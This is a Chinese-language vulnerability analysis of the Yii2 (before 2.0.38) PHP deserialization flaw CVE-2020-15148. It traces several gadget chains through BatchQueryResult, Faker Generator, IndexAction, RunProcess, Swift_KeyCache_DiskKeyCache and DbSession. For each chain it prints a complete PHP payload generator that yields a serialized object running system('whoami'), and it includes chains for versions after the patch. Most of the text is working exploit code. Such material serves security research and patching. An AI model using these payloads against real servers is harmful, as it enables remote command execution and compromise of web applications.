Yii2.0.37反序列化(CVE-2020-15148)
影响范围
Yii2 < 2.0.38
环境安装
https://github.com/yiisoft/yii2/releases/tag/2.0.37
下载解压后 更改/config/web.php文件17行cookieValidationKey 随便定义个值
进入目录
php yii server
启动yii程序
搭建成功
然后需要创建一个反序列化入口
通过这个控制器可以将我们传入的序列化字符串进行反序列化
通过
http://127.0.0.1/CmsSafe/yii2/web/index.php?r=serialize/serialize&data=
访问控制器
漏洞分析
一(Faild)
全局查找__destruct函数
在对象销毁前会调用__destruct函数
看到这个函数里调用了call_user_func函数 并且里边的参数是我们可以控制的 但是只能执行一些无参的函数 例如phpinfo 测试一下
<?php
namespace GuzzleHttp\Psr7{
use Psr\Http\Message\StreamInterface;
class FnStream{
private $_fn_close;
public function __construct()
{
$this->_fn_close='phpinfo';
}
}
}
namespace{
use GuzzleHttp\Psr7\FnStream;
echo urlencode(base64_encode(serialize(new FnStream())));
}
没看到这里有个wakeup
不允许这个类反序列化 后边还有一堆限制 Failed
二(CVE-2020-15148)
继续全局查找__destruct函数
查看reset()函数
$this->_dataReader是我们可控的 调用了close方法 此时需要了解一个方法
__call()方法
全局查找一下call方法 
找到一个Generator类下的call方法
看一下format函数 里边存在call_user_func_array 就可能rce 然后再看一下getFormatter这个函数
formatter是format里传过来的参数 $this->formatters这个数组是我们可以控制的 看一下数组里边的formatter 最初是从__call中传过来的 是_call的method参数 这个参数等于close
回到前边调用close方法 $this->_dataReader->close()
如果$this->_dataReader为Generator对象 那么调用close方法时因为Generator中不存在close方法所以会调用Generator中的__call方法而call的第一个参数就是被调用的方法名close
那我们序列化时就可以给$this->formatter定义为: $this->formatters[‘close’] =’phpinfo’;
这样return $this->formatters[$formatter]; 以为$formatter==close 随意放回的是phpinfo
所以这里的
return call_user_func_array($this->getFormatter($formatter), $arguments);
就变成
return call_user_func_array('phpinfo', $arguments);
这里因为$arguments不可控 所以这个call_user_func_array只能调用一些无参数的方法
先测试一下phpinfo
流程就是
class BatchQueryResult ->__destruct()
↓↓↓
class BatchQueryResult ->reset()
↓↓↓
class Generator ->__call()
↓↓↓
class Generator ->format()
↓↓↓
class Generator ->getFormatter() return phpinfo
↓↓↓
call_user_func_array('phpinfo', $arguments);
payload
<?php
namespace Faker{
class Generator
{
protected $formatters;
public function __construct()
{
$this->formatters['close'] = 'phpinfo';
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct()
{
$this->_dataReader=new Generator();
}
}
}
namespace{
use yii\db\BatchQueryResult;
echo urlencode(base64_encode(serialize(new BatchQueryResult())));
}
然后接下来找可以rce的函数
用这个作为跳板 可以找一个无参的方法 利用正则查找
function \w+\(\) ?\n?\{(.*\n)+call_user_func
CreateAction类下有个call_user_func
并且参数全是我们可以控制的
开始rce
流程
class BatchQueryResult ->__destruct()
↓↓↓
class BatchQueryResult ->reset()
↓↓↓
class Generator ->__call()
↓↓↓
class Generator ->format()
↓↓↓
class Generator ->getFormatter()
↓↓↓
class IndexAction ->run()
payload
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'whoami';
}
}
}
namespace Faker {
use yii\rest\IndexAction;
class Generator
{
protected $formatters;
public function __construct()
{
$this->formatters['close'] = [new IndexAction(), 'run'];
}
}
}
namespace yii\db{
use Faker\Generator;
class BatchQueryResult{
private $_dataReader;
public function __construct()
{
$this->_dataReader=new Generator();
}
}
}
namespace{
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}
rce成功
$this->formatters[‘close’] = [new IndexAction(), ‘run’];
解释一下这里 这里的$this->formatters[‘close’] = [new IndexAction(), ‘run’];是返回给call_user_func()用的返回值是一个arry
意思是调用IndexAction类下的run方法
其他反序列化链
yii>=2.0.38 修复了上边的反序列化链 禁止这个类反序列化
虽然禁止了这个类的反序列化 但是后边的序列化链还是存在的 需要再找个和这个类似的 全局查找
跟进stopProcess
调用了isRunning() 这就和上边的一样了 如果调用了类中不存在的函数就会调用call方法 并且processes也是我们可以控制的 payload
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'whoami';
}
}
}
namespace Faker{
use yii\rest\IndexAction;
class Generator{
protected $formatters ;
public function __construct(){
$this->formatters['isRunning']=[new IndexAction(),'run'];
}
}
}
namespace Codeception\Extension{
use Faker\Generator;
class RunProcess{
private $processes=[];
public function __construct(){
$this->processes[]=new Generator();
}
}
}
namespace{
use Codeception\Extension\RunProcess;
echo base64_encode(serialize(new RunProcess()));
}
同样我们需要在控制层建立一个反序列化入口
其他反序列化链
当两个变量进行字符串拼接的时候,如果一个变量是一个对象,那么会调用这个对象中的toString方法
还是找__destruct()
跟进clearAll
这里我自己测试是因为$itemKey它有错 会直接执行到下边的if也就是会调用is_dir并且进行字符串拼接 然后这里就是刚开始测试的如果拼接的一个变量是一个对象的话 会调用这个对象的toString方法,然后path也是我们可以控制的 接下来就是找一个合适的toString方法 全局查找
找到了这个会调用一个render方法 然后就是接着我们之前的链
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'whoami';
}
}
}
namespace Faker{
use yii\rest\IndexAction;
class Generator{
protected $formatters ;
public function __construct(){
$this->formatters['render']=[new IndexAction(),'run'];
}
}
}
namespace phpDocumentor\Reflection\DocBlock\Tags{
use Faker\Generator;
class Generic{
protected $description;
public function __construct()
{
$this->description=new Generator();
}
}
}
namespace {
use phpDocumentor\Reflection\DocBlock\Tags\Generic;
class Swift_KeyCache_DiskKeyCache{
private $keys = [];
private $path;
public function __construct()
{
$this->keys=array('hello'=>'world');
$this->path=new Generic();
}
}
echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}
其他反序列化 2.0.37
还是利用2.0.37这个版本BatchQueryResult这个类中的destruct() 区别是之前那个是调用close方法因为类中不存在 所以会调用call方法 这个链是查找一个具体的close方法 刚开始找了个FnStream这个类中的 但是最后发现这个类不允许被反序列化 然后找到DbSession这个类
getIsActive无法利用 跟进composeFields
如果writeCallback为真那么会调用call_user_func writeCallback是我们可以控制的
可以利用这个call_user_func来调用我们之前的run方法
<?php
namespace yii\rest{
class IndexAction{
public $checkAccess;
public $id;
public function __construct(){
$this->checkAccess = 'system';
$this->id = 'whoami';
}
}
}
namespace yii\web{
use yii\rest\IndexAction;
class DbSession
{
public $writeCallback;
public function __construct(){
$a=new IndexAction();
$this->writeCallback=[$a,'run'];
}
}
}
namespace yii\db{
use yii\web\DbSession;
class BatchQueryResult
{
private $_dataReader;
public function __construct(){
$this->_dataReader=new DbSession();
}
}
}
namespace{
use yii\db\BatchQueryResult;
echo base64_encode(serialize(new BatchQueryResult()));
}